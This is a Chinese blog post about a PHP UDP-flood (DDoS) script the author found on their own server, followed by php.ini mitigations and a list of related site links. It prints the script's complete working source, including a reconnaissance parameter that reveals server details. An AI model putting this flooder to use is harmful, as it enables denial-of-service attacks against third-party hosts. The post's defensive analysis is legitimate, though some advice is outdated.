php的ddos攻击解决方法


Posted in PHP onJanuary 08, 2015

本文实例讲述了php的ddos攻击解决方法。分享给大家供大家参考。具体分析如下:

今天自己的一台机器突然向外部发送大量数据包,可每秒到1G以上,虽然我用策略把UDP禁止包是发不出去但是很占cup啊,所以想到最后还是想办法解决了.

先看源码,代码如下:

<?php 

set_time_limit(999999); 

$host = $_GET['host']; 

$port = $_GET['port']; 

$exec_time = $_GET['time']; 

$Sendlen = 65535; 

$packets = 0; 

ignore_user_abort(True); 

 

if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){ 

        if (StrLen($_GET['rat'])<>0){ 

                echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat']; 

                exit; 

            } 

        echo "Parameters can not be empty!"; 

        exit; 

    } 

 

for($i=0;$i<$Sendlen;$i++){ 

        $out .= "A"; 

    } 

 

$max_time = time()+$exec_time; 

 

while(1){ 

    $packets++; 

    if(time() > $max_time){ 

        break; 

    } 

    $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5); 

        if($fp){ 

            fwrite($fp, $out); 

            fclose($fp); 

    } 

} 

 

echo "Send Host:$host:$port<br><br>"; 

echo "Send Flow:$packets * ($Sendlen/1024=" . round($Sendlen/1024, 2) . ")kb / 1024 = " . round($packets*$Sendlen/1024/1024, 2) . " mb<br><br>"; 

echo "Send Rate:" . round($packets/$exec_time, 2) . " packs/s;" . round($packets/$exec_time*$Sendlen/1024/1024, 2) . " mb/s"; 

?>

关键代码在于如下:
$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);

方法很简单,向目标主机发送UDP包,在加上定义无限死循环,就会形成较大的压力.

这个压力是对于执行这个脚本的服务器来说的,因为它首先对自身的网宽、CPU等资源造成大量占用,如果想用这个脚本对目标站点形成压力,需要在多个服务器上执行该脚本,DDOS嘛,既然是用fsockopen请求外部,那就不让他请求.

php.ini里设置,代码如下:

allow_url_fopen = Off

如果这样他还是能发包,代码如下:

extension=php_sockets.dll

改成

;extension=php_sockets.dll

重启APACHE、IIS、NGINX,这样就可以防止PHP DDOS发包了.

另外有网友说,让脚本不允许设置为不超时很简单:

1. 把set_time_limit函数禁用

2. 启用PHP的安全模式(safe_mode=on).

禁用socket函数可以把把socket模块直接全部禁用也可以禁用fsockopen函数,建议,由于socket常用于发送邮件找回密码,因此建议开启直接开启安全模式,但是这样的话,脚本每30秒超时一次,估计没有哪个“黑客”寂寞到每30秒去点一下开始DDOS.

经验:这种问题一般是网站安全引起的,我们要注意网站的安全及服务器的安全,这样就不容易被入侵了,如果会用macofee的朋友,对网站进行限制一下就会更好一些.

希望本文所述对大家的php程序设计有所帮助。

PHP 相关文章推荐
用PHP 快速生成 Flash 动画的方法
Mar 06 PHP
几个php应用技巧
Mar 27 PHP
PHP下用rmdir实现删除目录的三种方法小结
Apr 20 PHP
超小PHP小马小结(方便查找后门的朋友)
May 05 PHP
wamp下修改mysql访问密码的解决方法
May 07 PHP
php selectradio和checkbox默认选择的实现方法详解
Jun 29 PHP
浅谈PHP变量作用域以及地址引用问题
Dec 27 PHP
PHP程序员常见的40个陋习,你中了几个?
Nov 20 PHP
PHP中mysqli_affected_rows作用行数返回值分析
Dec 26 PHP
Laravel的throttle中间件失效问题解决方法
Oct 09 PHP
PHP abstract 抽象类定义与用法示例
May 29 PHP
laravel 输出最后执行sql 附:whereIn的使用方法
Oct 10 PHP
php的sso单点登录实现方法
Jan 08 #PHP
PHP制作万年历
Jan 07 #PHP
CI框架中通过hook的方式实现简单的权限控制
Jan 07 #PHP
CI框架中site_url()和base_url()的区别
Jan 07 #PHP
给ECShop添加最新评论
Jan 07 #PHP
php程序总是提示验证码输入有误解决方案
Jan 07 #PHP
WampServer下安装多个版本的PHP、mysql、apache图文教程
Jan 07 #PHP
You might like
无数据库的详细域名查询程序PHP版(1)
2006/10/09 PHP
PHP中time(),date(),mktime()区别介绍
2013/09/28 PHP
php编程每天必学之验证码
2016/03/03 PHP
微信公众号模板消息群发php代码示例
2016/12/29 PHP
Laravel学习教程之View模块详解
2017/09/18 PHP
PHP实现上传图片到数据库并显示输出的方法
2018/05/31 PHP
php和vue配合使用技巧和方法
2019/05/09 PHP
Javascript 陷阱 window全局对象
2008/11/26 Javascript
Prototype Date对象 学习
2009/07/12 Javascript
jQuery实现切换页面布局使用介绍
2011/10/09 Javascript
JQuery的AJAX实现文件下载的小例子
2013/05/15 Javascript
JavaScript的类型、值和变量小结
2015/07/09 Javascript
javascript运动效果实例总结(放大缩小、滑动淡入、滚动)
2016/01/08 Javascript
基于BootStrap Metronic开发框架经验小结【五】Bootstrap File Input文件上传插件的用法详解
2016/05/12 Javascript
三分钟学会用ES7中的Async/Await进行异步编程
2018/06/14 Javascript
vue实现element-ui对话框可拖拽功能
2018/08/17 Javascript
angular2 ng2-file-upload上传示例代码
2018/08/23 Javascript
node.js实现微信开发之获取用户授权
2019/03/18 Javascript
JS代码简洁方式之函数方法详解
2020/07/28 Javascript
python下如何查询CS反恐精英的服务器信息
2017/01/17 Python
pandas数值计算与排序方法
2018/04/12 Python
Python3.5 处理文本txt,删除不需要的行方法
2018/12/10 Python
用python爬取租房网站信息的代码
2018/12/14 Python
Python占用的内存优化教程
2019/07/28 Python
Python如何使用正则表达式爬取京东商品信息
2020/06/01 Python
Python numpy矩阵处理运算工具用法汇总
2020/07/13 Python
python3列表删除大量重复元素remove()方法的问题详解
2021/01/04 Python
python程序实现BTC(比特币)挖矿的完整代码
2021/01/20 Python
Nordgreen台湾官网:极简北欧设计手表
2019/08/21 全球购物
总经理秘书工作职责
2013/12/26 职场文书
校本教研活动总结
2014/07/01 职场文书
迟到检讨书范文
2015/01/27 职场文书
2015年上半年物业工作总结
2015/03/30 职场文书
2015年销售部工作总结范文
2015/04/27 职场文书
Python函数式编程中itertools模块详解
2021/09/15 Python
在Oracle表中进行关键词搜索的过程
2022/06/10 Oracle